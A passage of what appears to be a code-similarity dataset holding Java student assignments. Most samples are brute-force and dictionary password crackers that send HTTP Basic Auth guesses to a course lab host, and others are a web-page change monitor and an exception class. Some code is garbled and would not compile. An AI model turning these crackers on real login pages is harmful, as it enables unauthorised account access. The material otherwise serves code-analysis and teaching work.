    GET\", url.getPath() + \" HTTP/1.1\");\n      urlConnection.setRequestProperty(\"\
    Host\", url.getHost());\n      password = getNextPassword();\n      if(password\
    \ == null)\n        return null;\n      System.out.print(password);\n      authorization\
    \ = user + \":\" + password;\n\n\n      urlConnection.setRequestProperty(\"Authorization\"\
    , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\
    \ \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\
    \n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n      \
    \    System.out.print(\"\\b \\b\");\n      else\n        System.out.print(\"\\\
    b\\b\\b.\");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n\
    \    return this.attempts;\n  }\n  public static void main (String[] args) {\n\
    \    if(args.length != 2){\n      System.out.println(\"usage: java attacks.BruteForce\
    \ <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\
    );\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n\
    \    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n\
    \      System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\
    \      String password = bruteForce1.crackPassword(args[1]);\n      if(password\
    \ != null)\n        System.out.println(\"\\nPassword is: \"+password);\n     \
    \ else\n        System.out.println(\"\\nPassword could not  retrieved!\");\n \
    \     cal2 = Calendar.getInstance();\n      System.out.println(\"Cracking finished\
    \ at: \" + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime()\
    \ - cal1.getTime().getTime());\n      System.out.println(\"Total Time taken  crack:\
    \ \" + (d3.getTime())/1000 + \" sec\");\n      System.out.println(\"Total attempts\
    \ : \"  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n\
    \      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n\
    \    }\n  }\n}"
  - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\
    {\t\n\n\tpublic static void main(String args[])\n\t{\n\n           Runtime rt1\
    \ = Runtime.getRuntime();\n\t   Process prss1= null;\n\n           try\n     \
    \       {\n             prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\
    \ http://www.cs.rmit.edu./students/\");\n            }catch(java.io.IOException\
    \ e){}\n\n\t   MyWatchDogTimer w = new MyWatchDogTimer();\n\t   Timer time = new\
    \ Timer();\n\t   time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"
  - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\
    import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
    import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\
    \    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n\
    \    }\n\n    public static void main(String[] args)\n    {\n        Dictionary\
    \ dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n\
    \            System.out.println(dictionary.printUsage());\n        }\n       \
    \ else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n\
    \            dictionary.setWordFile(args[2]);\n\n            if (args.length >\
    \ 3)\n            {\n                dictionary.setFileName(args[3]);\n      \
    \      }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n\
    \            System.exit(1);\n        }\n    }\n\n    public void process()\n\
    \    {\n        attempts = 0;\n        String password = \"\";\n        \n   \
    \     setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader\
    \ input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n\
    \            \n            input = new BufferedReader(file);\n            \n \
    \       }\n        catch (FileNotFoundException x)\n        {\n            System.err.println(\"\
    File not found: \" + getWordFile());\n            System.exit(2);\n        }\n\
    \n        try\n        {\n            while ((password = input.readLine()) !=\
    \ null)\n            {\n                try\n                {\n             \
    \       \n                    attempts++;\n                    BasicAuthHttpRequest\
    \ req =\n                        new BasicAuthHttpRequest(\n                 \
    \           getURL(),\n                            getUserName(),\n          \
    \                  password);\n                    setPassword(password);\n  \
    \                  setEnd(new Timestamp(System.currentTimeMillis()));\n      \
    \              setContent(req.getContent().toString());\n\n                  \
    \  \n                    if (getFileName() != null\n                        &&\
    \ getFileName().length() > 0)\n                    {\n                       \
    \ createReport();\n                    }\n                    return;\n      \
    \          }\n                catch (MalformedURLException e)\n              \
    \  {\n                    e.printStackTrace();\n                    return;\n\
    \                }\n                catch (IOException e)\n                {\n\
    \n                }\n            }\n        }\n        catch (IOException x)\n\
    \        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new\
    \ Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n\
    \    {\n        StringBuffer s = new StringBuffer();\n\n        s.append(\"**\
    \ BruteForce proper usage **\\n\\n\");\n        s.append(\n            \"java\
    \ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\
    n\\n\");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n\
    \    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String\
    \ string)\n    {\n        wordFile = string;\n    }\n\n}\n"
- source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\
    \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\
    \ char [] alphabet = {\n        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n    \
    \    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n        'Q', 'R', 'S', 'T', 'U',\
    \ 'V', 'W', 'X',\n        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n        'g',\
    \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n        'o', 'p', 'q', 'r', 's', 't', 'u',\
    \ 'v',\n        'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\
    \ {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+\"\
    \"+alphabet[j]+\"\"+alphabet[k];\n    String userPassword = \":\"+pwd;\n    RealThread\
    \ myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n\
    \    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n \
    \   catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\
    \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\
    \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\
    \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\
    http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\
    \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\
    \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n\
    \  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
    \n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty (\"\
    Authorization\", \" \" + encoding);\n  System.out.println(\"Reponse  = \"+uc.getResponseCode()+\"\
    for pwd = \"+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n\
    \  if(uc.getResponseCode()==200)\n  {\n     System.out.println(\" ======= Password\
    \ Found : \"+userPassword+\" ========================================= \");\n\
    \     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println(\"\
    Could not execute Thread \"+num+\" \");\n  }\n }\n\n}\n"
  sentences:
  - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
    \ PasswordCracker {\n    \n    \n    private static final char  car= 'a';\n  \
    \  \n    private static final char END   = 'z' + 1;\n    \n    \n    public static\
    \ final int BRUTEFORCE = 0;\n    public static final int DICTIONARY = 1;\n   \
    \ \n    \n    String urlName = null;\n    \n    String user    = null;\n    \n\
    \    String filename = null;\n    \n    int method;\n    \n    \n    int attempt_counter;\n\
    \    \n    \n    public static void main(String[] args) {\n        \n        PasswordCracker\
    \ cracker = null;\n        \n        if ((args.length == 3) && (args[2].equalsIgnoreCase(\"\
    BRUTEFORCE\"))) {\n            \n            cracker = new PasswordCracker(args[0],\
    \ args[1], PasswordCracker.BRUTEFORCE, null);\n        }\n        else if ((args.length\
    \ == 4) && (args[2].equalsIgnoreCase(\"DICTIONARY\"))) {\n            \n     \
    \       cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY,\
    \ args[3]);\n        }\n        else {\n            System.out.println(\"Syntax:\
    \ java PasswordCracker <username> <url> BRUTEFORCE \");\n            System.out.println(\"\
    \        java PasswordCracker <username> <url> DICTIONARY <sourcefile> \");\n\
    \            System.exit(1);\n        }\n        \n        cracker.run();\n  \
    \  }\n    \n    \n    public PasswordCracker(String user, String url, int method,\
    \ String file) {\n        \n        this.user     = user;\n        this.urlName\
    \  = url;\n        this.filename = file;\n        \n        this.method = method;\n\
    \    }\n    \n    \n    public boolean run() {\n        \n        String password;\n\
    \         s = 0;\n         end = 0;\n        \n        try {\n            attempt_counter\
    \ = 0;\n            URL target = new URL(urlName);\n            \n           \
    \ switch (this.method) {\n                \n               case  BRUTEFORCE:\n\
    \                    \n                    s = System.currentTimeMillis();\n \
    \                   \n                    \n                    for (char i =\
    \ 0; i < END; i++) {\n                        for (char j = 0; j < END; j++) {\n\
    \                            for (char k = 0; k < END; k++) {\n              \
    \                  \n                                password = String.valueOf(i)\
    \ + String.valueOf(j) + String.valueOf(k);\n                                if\
    \ (performConnection(target, user, password)) {\n                            \
    \        \n                                    end = System.currentTimeMillis();\n\
    \                                    \n                                    System.out.println(\"\
    URL: \\t\\t\" + target +\n                                    \"\\nUser: \\t\\\
    t\"+ user + \"\\nPassword: \\t\" + password);\n\n                            \
    \        System.out.println(\"Attempts: \\t\" + attempt_counter\n            \
    \                        + \"\\nTotal time: \\t\" + ((end - a) / 1000.0f) + \"\
    \ seconds\");\n                                    return true;\n            \
    \                    }\n                            }\n                      \
    \  }\n                    }\n                    \n                    \n    \
    \                for (char i = 0; i < END; i++) {\n                        for\
    \ (char j = 0; j < END; j++) {\n                            for (char k = 0; k\
    \ < END; k++) {\n                                \n                          \
    \      password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);\n\
    \                                if (isValidPassword(target, password)) {\n  \
    \                                  \n                                    end =\
    \ System.currentTimeMillis();\n                                    \n        \
    \                            System.out.println(\"Attempts: \\t\" + attempt_counter\n\
    \                                    + \"\\nTotal time: \\t\" + ((end - d) / 1000.0f)\
    \ + \" seconds\");\n                                    return true;\n       \
    \                         }\n                            }\n                 \
    \       }\n                    }\n                    break;\n               \
    \     \n                case DICTIONARY:\n                    try {\n        \
    \                BufferedReader buf = new BufferedReader(new FileReader(filename));\n\
    \                        \n                         s = System.currentTimeMillis();\n\
    \                        \n                         {\n                      \
    \      password = buf.readLine();\n                            \n            \
    \                \n                            \n                            if\
    \ (password.length() == 3) {\n                                if (performConnection(target,\
    \ user, password)) {\n                                    \n                 \
    \                   end = System.currentTimeMillis();\n                      \
    \              \n                                    System.out.println(\"URL:\
    \ \\t\\t\" + target +\n                                    \"\\nUser: \\t\\t\"\
    + user + \"\\nPassword: \\t\" + password);\n                                 \
    \   \n                                    System.out.println(\"Attempts: \\t\"\
    \ + attempt_counter\n                                    + \"\\nTotal time: \\\
    t\" + ((end - d) / 1000.0f) + \" seconds\");\n                               \
    \     return true;\n                                }\n                      \
    \      }\n                        }\n                        while (password !=\
    \ null);\n                    }\n                    catch (FileNotFoundException\
    \ e) {\n                        System.out.println(\"File \\\"\" + filename +\
    \ \"\\\" not found\");\n                    }\n                    catch (IOException\
    \ ioe) {\n                        System.out.println(\"IO Error \" + ioe);\n \
    \                   }\n                    break;\n                    \n    \
    \            default:\n                    return false;\n            }\n    \
    \    }\n        catch (Exception e) {\n            System.out.println(\"ERROR:\
    \ \" + e.getMessage());\n        }\n        \n        end = System.currentTimeMillis();\n\
    \        System.out.println(\"Attempts: \\t\" + attempt_counter +\n        \"\\\
    nTotal time: \\t\" + ((end - d) / 1000.0f) + \" seconds\");\n        \n      \
    \  return true;\n    }\n    \n    \n    private boolean isValidPassword(URL target,\
    \ String password) throws Exception {\n        \n        char letter[] = new char[3];\n\
    \        String generated = null;\n        \n        letter[0] = password.charAt(0);\n\
    \        for (int i = 0; i < 2; i++) {\n            \n            letter[1] =\
    \ password.charAt(1);\n            for (int j = 0; j < 2; j++) {\n           \
    \     \n                letter[2] = password.charAt(2);\n                for (int\
    \ k = 0; k < 2; k++) {\n                    \n                    generated =\
    \ String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);\n\
    \                    \n                    if ((Character.isUpperCase(letter[0])\
    \ == true) ||\n                        (Character.isUpperCase(letter[1]) == true)\
    \ ||\n                        (Character.isUpperCase(letter[2]) == true)) {\n\
    \                        \n                        if (performConnection(target,\
    \ user, generated) == true) {\n                            \n                \
    \            System.out.println(\"URL: \\t\\t\" + target + \"\\nUser: \\t\\t\"\
    + user +\n                            \"\\nPassword: \\t\" + generated);\n   \
    \                         return true;\n                        }\n          \
    \          }\n                    letter[2] = Character.toUpperCase(letter[2]);\n\
    \                }\n                letter[1] = Character.toUpperCase(letter[1]);\n\
    \            }\n            letter[0] = Character.toUpperCase(letter[0]);\n  \
    \      }\n        return false;\n    }\n    \n    \n    private boolean performConnection(URL\
    \ target, String username, String password) throws Exception {\n        HttpURLConnection\
    \ connection = null;\n        \n        try {\n            attempt_counter++;\n\
    \            connection = (HttpURLConnection) target.openConnection();\n     \
    \       connection.setRequestProperty(\"Authorization\", \" \" + Base64.encode(username\
    \ + \":\" + password));\n            \n            switch (connection.getResponseCode()\
    \ / 100) {\n                 case 2:\n                    System.out.println(\"\
    Connected successfully\");\n                    return true;\n               \
    \ default:\n                    return false;\n            }\n        }\n    \
    \    catch (Exception e) {\n            throw new Exception(\"Failed  connect\
    \  \" + target);\n        }\n    }\n}\n"
  - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport\
    \ java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String\
    \ urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator\
    \ auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\
    \n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n \
    \           URL yahoo = new URL(urlString); \n            BufferedReader in =\
    \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n           \
    \ String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\
    \t       System.out.println(inputLine);\n\t       System.out.println(\"passord:\
    \ \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n\
    \          }catch(Exception e){ returnval = 0;}\n       return returnval;\n  \
    \ }\n\n   public static void  main(String argv[]) {  \n\n       String[] val =\
    \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
    m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
    z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
    M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
    Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n\
    \      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce\
    \ s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n       \
    \ pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);\
    \  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\
    \n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c\
    \ = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n\
    \          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n\
    \          if (retval > 0) {\n             System.exit(0);\n          }\n    \
    \    }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n \
    \       for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int\
    \ f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+\
    \ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);\
    \  \n              if (retval > 0) {\n                 System.exit(0);\n     \
    \         }\n           }\n        }\n      }\n\n    }  \n}     \n\n"
  - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\
    import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n   \
    \ private String         url;\n    private URL            currURL;\n    private\
    \ URLConnection  conn;\n    private HoldSharedData sharedData;\n    private int\
    \            noOfThread;\n    private int            batch;\n\n    public ConnectionThread(\
    \ String pageURL, int wThread,\n                             int newBatch, HoldSharedData\
    \ data )\n    {\n        super();\n        url = pageURL;\n        noOfThread\
    \ = wThread ;\n        batch = newBatch;\n        sharedData = data;\n    }\n\n\
    \    \n    public void run()\n    {\n        try\n        {\n            currURL\
    \ = new URL( url );\n\n            for( int i = noOfThread*batch; (i < (noOfThread\
    \ + 1)*batch) &&\n                                    (i < sharedData.getPwdCount());\
    \ i ++ )\n            {\n                String pwd = sharedData.getPasswordAt(\
    \ i );\n\n                conn = currURL.openConnection();\n\n               \
    \ if (conn instanceof HttpURLConnection)\n                {\n\t            HttpURLConnection\
    \ hconn = (HttpURLConnection) conn;\n                    hconn.setFollowRedirects(false);\n\
    \                    String cad = \" \" + based64Encoder( \":\" + pwd );\n   \
    \                 hconn.setRequestProperty( \"Authorization\", cad );\n\n    \
    \                hconn.connect();\n\t            int response = hconn.getResponseCode();\n\
    \                    sharedData.setNumOfConnections();\n\n                   \
    \ if( response == 200 )\n                    {\n                         totalTime\
    \ = System.currentTimeMillis() -\n                                           sharedData.getStartTime();\n\
    \                        int numOfConnections = sharedData.getNumOfConnections();\n\
    \n                        System.out.println( \"Password is \" + pwd );\n    \
    \                    System.out.println( \"Total Time(seconds)=\" +\n        \
    \                                   (double)totalTime/1000 );\n              \
    \          System.out.println( \"Number Of Connections: \" +\n               \
    \                                     numOfConnections );\n                  \
    \      System.exit(0);\n                    }\n                    else\n    \
    \                {\n                        hconn.disconnect();\n            \
    \        }\n                }\n            }\n        }\n        catch( MalformedURLException\
    \ mue )\n        {\n            String msg = \"Unable  parse URL: \" + url;\n\
    \            System.err.println( msg );\n        }\n        catch( IOException\
    \ ioe )\n        {\n            System.err.println( \"I/O Error : \" + ioe );\n\
    \        }\n    }\n\n    private String based64Encoder( String pwd )\n    {\n\
    \        \n        String str = pwd;\n        byte[] buf = str.getBytes();\n \
    \       String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n      \
    \  return encodedStr;\n    }\n}  "
- source_sentence: "\n\n\n\npublic class SMTPException extends Exception {\n\n   \
    \    private String msg; \n       \n       public SMTPException(String message)\
    \ {\n              msg = message;\n       }\n\n       \n       public String getMessage()\
    \ {\n              return msg;\n       }\n}"
  sentences:
  - "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n\
    {\n    boolean connected = false;\n    int counter;\n    String[] chars = {\"\
    a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n                    \"i\",\"j\"\
    ,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n                    \"q\",\"r\",\"s\",\"\
    t\",\"u\",\"v\",\"w\",\"x\",\n                    \"y\",\"z\",\"A\",\"B\",\"C\"\
    ,\"D\",\"E\",\"F\",\n                    \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
    M\",\"N\",\n                    \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\"\
    ,\n                    \"W\",\"X\",\"Y\",\"Z\"};\n    Vector combinations = new\
    \ Vector();\n    \n    BruteForce()\n    {\n        counter = 0;\n        this.genCombinations();\n\
    \        this.startAttack();\n    }   \n    \n    public void startAttack()\n\
    \    {\n        while(counter<this.combinations.size())\n        {\n         \
    \  connected = sendRequest();\n           if(connected == true)\n           {\n\
    \             System.out.print(\"The password is: \");\n             System.out.println((String)combinations.elementAt(counter-1));\n\
    \             counter = combinations.size();\n           }\n        }\n    }\n\
    \    \n    public void genCombinations()\n    {\n        String combination =\
    \ new String();\n        \n        for (int x=0; x<52; x++)\n        {\n     \
    \       combination = chars[x];\n            this.combinations.addElement(combination);\n\
    \        }\n        \n        for (int x=0; x<52; x++)\n        {\n          \
    \  for (int y=0; y<52; y++)\n            {\n                combination = chars[x]\
    \ + chars[y];\n                this.combinations.addElement(combination);\n  \
    \          }\n        }   \n        \n        for (int x=0; x<52; x++)\n     \
    \   {\n            for (int y=0; y<52; y++)\n            {\n                for\
    \ (int z=0; z<52; z++)\n                {\n                    combination = chars[x]\
    \ + chars[y] + chars[z];\n                    this.combinations.addElement(combination);\n\
    \                }\n            }\n        }   \n    }\n    \n    public boolean\
    \ sendRequest()\n    {\n        Authenticator.setDefault (new MyAuthenticator\
    \ ());\n        try \n        {\n        \t\n        \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    );\n                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n\
    \                urlConn.connect();\n               if(urlConn.getResponseMessage().equalsIgnoreCase(\"\
    OK\"))\n               {\n                   return true;\n               }\n\
    \               \n        } \n        catch (IOException e) {}\n        \n   \
    \     return false;\n    }\n    \n     public static void main(String [] args)\n\
    \     {\n         BruteForce bf = new BruteForce();\n     }\n   \n   \n     class\
    \ MyAuthenticator extends Authenticator {\n       \n        protected PasswordAuthentication\
    \ getPasswordAuthentication() {\n            String username = \"\";\n       \
    \     String password = (String)combinations.elementAt(counter);\n           \
    \ counter++;\n            return new PasswordAuthentication(username, password.toCharArray());\n\
    \        }\n    }\n}\n"
  - "import java.io.*;\nimport java.net.*;\nimport java.misc.*;\n\n\npublic class\
    \ Dictionary\n{\n\n   public static void main (String args[]) throws IOException\n\
    \   {\n      final int maxLength = 3;\n      final String username = \"\";\n \
    \     final File dicFile = new File(\"/usr/share/lib/dict/words\");\n      final\
    \ URL pageURL = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n      String\
    \ password=\"\";\n      BASE64Encoder encoder = new BASE64Encoder();\n      boolean\
    \ notFound = true;\n      HttpURLConnection conn;\n\n      BufferedReader reader\
    \ = new BufferedReader(new FileReader(dicFile));\n\n      while (notFound&&((password\
    \ = reader.readLine()) != null))\n      {\n         if(password.length()>maxLength)\n\
    \         {\n            continue;\n         }\n\n         conn = (HttpURLConnection)\
    \ pageURL.openConnection();\n\n            conn.setRequestProperty(\"Authorization\"\
    , \" \"+encoder.encode((username+\":\"+password).getBytes()));\n\n         if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)\n\
    \         {\n            notFound=false;\n         }\n\n      }\n\n      reader.print();\n\
    \n      if(notFound)\n      {\n         System.out.println(\" valid password in\
    \ dictionary file.\");\n      }\n      else\n      {\n         System.out.println(\"\
    Found valid password: \\\"\"+password+\"\\\"\");\n      }\n   }\n}\n\n"
  - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\
    \npublic class Dictionary\n{\n\n  public Dictionary()\n  {\n  }\n\n  public static\
    \ void main(String[] args)\n  {\n    try\n    {\n\n        if (args.length !=\
    \ 3 )\n        {\n            System.out.println(\"Usage: java BruteForce <URL>\
    \ <UserName> <DictFileName>\");\n            System.exit(1);\n        }\n\n  \
    \       timeStart = System.currentTimeMillis();\n\n        String strPass = applyDictionary\
    \ (args[0], args[1], args [2]);\n\n         timeEnd = System.currentTimeMillis();\n\
    \n        System.out.println(\"\\n\\n\\n\\n\\tPass Cracked is: \" + strPass);\n\
    \        System.out.println(\"\\tTime taken is (sec):\" + String.valueOf((timeEnd\
    \ - timeStart)/1000));\n\n    }\n    catch(Exception e)\n    {\n      e.printStackTrace();\n\
    \    }\n  }\n\n  static String applyDictionary (String URL, String UserName, String\
    \ strUrlDictionary)\n  {\n      String strPass = \"\";\n\n      try\n      {\n\
    \              FileInputStream fIn = new FileInputStream ( strUrlDictionary );\n\
    \              DataInputStream dtIn = new DataInputStream ( fIn );\n\n       \
    \      \n             \n\n              System.out.print(\"\\n\\n\\n Applying\
    \ Dictionary Attack:      \");\n\n              while (dtIn.available() > 0)\n\
    \              {\n                  strPass = dtIn.readLine();\n\n           \
    \       if (strPass.length() != 3)\n                    continue;\n\n        \
    \         \n               \n\n                  System.out.print(\"\\b\\b\\b\"\
    \ + strPass );\n\n                  boolean boolResult = applyPass ( URL, UserName,\
    \ strPass );\n\n                  if (boolResult)\n                  {\n     \
    \                 dtIn.close();\n                      fIn.close();\n        \
    \              return strPass;\n                  }\n              }\n\n     \
    \         dtIn.close();\n              fIn.close();\n      }\n      catch (Exception\
    \ e)\n      {\n          e.printStackTrace();\n      }\n\n      return \"Could\
    \ not find match\";\n  }\n\n  private static boolean applyPass (String strURL,\
    \ String strUserName, String strPass )\n  {\n        BASE64Encoder myEncoder =\
    \ new BASE64Encoder ();\n\n        try\n        {\n            String str = strUserName\
    \ + \":\" + strPass;\n\n            String strEncode = myEncoder.encode(str.getBytes());\n\
    \n            URL url = new URL (strURL);\n\n            URLConnection urlConn\
    \ = url.openConnection();\n\n            urlConn.setRequestProperty (\"Authorization\"\
    , \" \" + strEncode);\n\n            urlConn.connect();\n\n            String\
    \ strReply = urlConn.getHeaderField(0);\n\n            if ( strReply.trim().equalsIgnoreCase(\"\
    HTTP/1.1 200 OK\") )\n            {\n                return true;\n          \
    \  }\n        }\n        catch (Exception e)\n        {\n            e.printStackTrace\
    \ ();\n        }\n\n        return false;\n  }\n}\n"
- source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\
    import java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends\
    \ Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog\
    \ watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void\
    \ run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\
    \ DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n      \
    \  \n\n   \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new\
    \ Date()));\n        while(true)\n        {\n    \t\twriteProgramLog(\"Running\
    \ run at \" + longTimestamp.format(new Date()));\n            compare();\n   \
    \         try\n            {\n                sleep(twentyFourHours);\n      \
    \      }\n            catch(InterruptedException e)\n            {\n         \
    \       writeProgramLog(\"Program terminated at \" + longTimestamp.format(new\
    \ Date()));\n                System.exit(0);\n            }\n        }\n    }\
    \ \n\n\t\n    private void compare()\n    {\n        \n        \n        \n  \
    \      String watchDogFile = \"watchDogHash_rcroft.\";\n        String watchDogPageFile\
    \ = \"watchDogPage_rcroft.html\";\n    \n        File watchDogLogFile = new File(watchDogFile);\n\
    \        \n        if(!watchDogLogFile.exists())\n        {\n            \n  \
    \          \n            \n            \n            \n            WebPage targetPage\
    \ = getPage();\n            if(targetPage.getSuccess())\n            {\n     \
    \           byte[] newHash = calcHash(targetPage.getPageContents());\n       \
    \         writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(),\
    \ watchDogPageFile);\n            }\n        }\n        else\n        {\n    \
    \        try\n            {\n                \n                \n            \
    \    \n                \n                \n                \n                WebPage\
    \ targetPage = getPage();\n                if(targetPage.getSuccess())\n     \
    \           {\n                    \n                    byte[] oldHash = new\
    \ byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\
    \n                    \n                    DataInputStream inWatchDogFile = new\
    \ DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n\
    \                    inWatchDogFile.print();\n                    \n         \
    \           \n                    \n                    \n                   \
    \ if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n    \
    \                    String differences = enumerateDifferences(watchDogPageFile,\
    \ targetPage.getPageContents());\n                        mail(differences);\n\
    \                        writeHash(newHash, watchDogFile);\n                 \
    \       writePage(targetPage.getPageContents(), watchDogPageFile);\n         \
    \           }\n                }\n            }\n            catch(IOException\
    \ e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n \
    \           }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String\
    \ oldPageFileName, String newPageData)\n\t{\n\t    String differences = \"\";\n\
    \t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t     \
    \ newFile = File.createTempFile(\"new\", \"tmp\");\n          String tempFilePath\
    \ = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new\
    \ FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n\
    \          outFile.print();\n          \n          \n          String commandLine\
    \ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n          Process p =\
    \ Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new\
    \ BufferedReader(new InputStreamReader(p.getInputStream()));\n          String\
    \ line;\n          while((line = diffs.readLine()) != null)\n            differences\
    \ += line + \"\\n\";\n          diffs.print();\n          newFile.delete();\n\t\
    \    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog(\"Exception:\
